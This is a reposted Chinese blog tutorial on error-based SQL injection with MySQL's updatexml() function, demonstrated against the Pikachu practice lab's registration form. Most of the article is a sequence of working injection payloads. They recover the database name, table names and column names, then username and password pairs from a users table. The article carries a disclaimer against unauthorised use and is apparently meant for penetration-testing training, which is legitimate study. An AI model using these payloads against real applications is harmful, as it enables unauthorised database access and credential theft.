當前位置:網站首頁>SQL報錯盲注詳解
SQL報錯盲注詳解
2022-07-23 17:17:01【永遠是少年啊】
今天繼續給大家介紹Linux運維相關知識,本文主要內容是SQL報錯盲注詳解。
免責聲明:
本文所介紹的內容僅做學習交流使用,嚴禁利用文中技術進行非法行為,否則造成一切嚴重後果自負!
再次强調:嚴禁對未授權設備進行滲透測試!
一、SQL報錯函數詳解
updatexml();floor();extractvalue();等函數都可以用於構造SQL報錯函數,今天我們主要來講解使用updatexml()函數。
updatexml()函數使用格式如下:
updatexml(XML_document,XPath_string,new_value)
XML_document是String格式的XML文檔名稱,XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用於替換查找到的符合條件的數據。
該函數有一個特性,即如果XPath_string不是XPath格式的字符串,就會報錯並顯示處XPath的值,因此,我們可以利用這一特性實現SQL報錯盲注。此外,我們還可以利用updatexml()函數的特性,實現在SQL插入、删除等語句中的SQL注入。
二、SQL報錯盲注payload構造
1、updatexml語句構造思路
updatexml()函數的構造,首先需要閉合SQL語句中的冒號、括號。其次還需要使用and或者or語句連接成一個單獨的語句,這樣即可成功執行updatexml()函數中的語句。
下面,我以皮卡丘靶場為例,來簡單介紹一下updatexml報錯注入payload的構造思路,皮卡丘靶場SQL insert/update型注入頁面如下所示:
從上圖中可以看出,該頁面功能上是提供人員的注册,因此可以猜測其內部是insert類型的SQL語句,因此我們可以在手機、住址等列(一般不要選擇密碼,因為很多網站都會把密碼進行md5處理,從而導致我們的updatexml失效)中插入我們的updatexml語句。通過簡單的實驗可以得知,該站點的注入閉合為單引號,因此payload的構造格式為:
12' or updatexml() or'
2、查詢當前數據庫
當我們確定updatexml()函數的格式後,我們就可以寫實際的payload語句了,相關命令如下所示:
12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
從上payload可以看出,updatexml()函數有三部分組成,我們需要把我們要執行的SQL語句寫到第二部分,第二部分是一個concat()函數,之所以要拼接0x7e是因為該16進制字符是一個波浪線,也可以換成其他的字符。
該payload執行結果如下所示:
從上圖可以看出,我們當前的數據庫名為pikachu。
3、查詢錶名
查詢錶名的payload如下所示:
12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '
在上述payload中,concat中間的SQL語句要用括號括起來,然後寫入正常的查詢命令即可,該payload執行結果如下所示:
從上圖可以看出,我們查詢到當前數據庫存在一個名為httpinfo的錶,如果我們更改limit的限制,那麼我們可以得到更多的錶。
4、查詢列名
查詢列名的payload如下所示:
12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '
該payload構造原理與以上類似,執行結果如下所示:
5、查詢字段名
字段名查詢的payload如下所示:
12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '
該payload構造原理與以上類似,執行結果如下所示:
6、查詢數據
數據查詢的payload如下所示:
12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '
該payload構造原理與以上類似,執行結果如下所示:
原創不易,轉載請說明出處:https://blog.csdn.net/weixin_40228200
版權聲明
本文為[永遠是少年啊]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/204/202207231417076237.html
邊欄推薦
猜你喜歡
隨機推薦
- BGP機房的優點
- 真人踩過的坑,告訴你避免自動化測試常犯的10個錯誤
- 判斷是否為void類型
- C語言——幾道C語言經典習題
- openvino_datawhale
- C語言基礎知識梳理(一)
- Redis源碼與設計剖析 -- 7.快速列錶
- 比特,比特,字節,字的概念與區別
- 項目部署(簡版)
- JDBC的學習以及簡單封裝
- [pytho-flask筆記5]藍圖簡單使用
- Web Component-自定義元素的生命周期
- 數倉4.0筆記——業務數據采集
- 數倉4.0筆記——用戶行為數據采集四
- 對.h5文件的迭代顯示,h5py數據操作
- 常用數學知識匯總
- “東數西算”下數據中心的液冷GPU服務器如何發展?
- 硬件知識1--原理圖和接口類型(基於百問網硬件操作大全視頻教程)
- 鋼結構基本原理複習
- Unity3d:UGUI源碼,Rebuild優化
- 快速解决:Xshell拖不進去文件夾或者軟件包的問題
- RHCSA--文件內容瀏覽、cut、uniq、sort、.tr命令使用
- 信號完整性(SI)電源完整性(PI)學習筆記(三十二)電源分配網路(四)
- EasyGBS平臺出現錄像無法播放並存在RTMP重複推流現象,是什麼原因?
- 第七天筆記
- 【可視化調度軟件】上海道寧為SMB組織帶來NETRONIC下載、試用、教程
- 概率沉思錄:2.The quantitative rules
- 常用的鼠標事件和鍵盤事件
- C#:in、out、ref關鍵字
- GRE,MGRE的詳細了解;OSPF基礎配置知識
- Creo 9.0 如何快速修改CAD坐標系?
- 第五天筆記
- 强化學習——策略梯度理解點
- shell跑的時候需要的需要了解命令
- OKRK3399開發板預留I2C4掛載EEPROM
- 優化華為雲服務器采用Key登陸
- 第2章 基礎查詢與排序
- 【C語言】猜數字小遊戲+關機小程序
- 什麼是Per-Title編碼?
- @FeignClient使用詳細教程(圖解)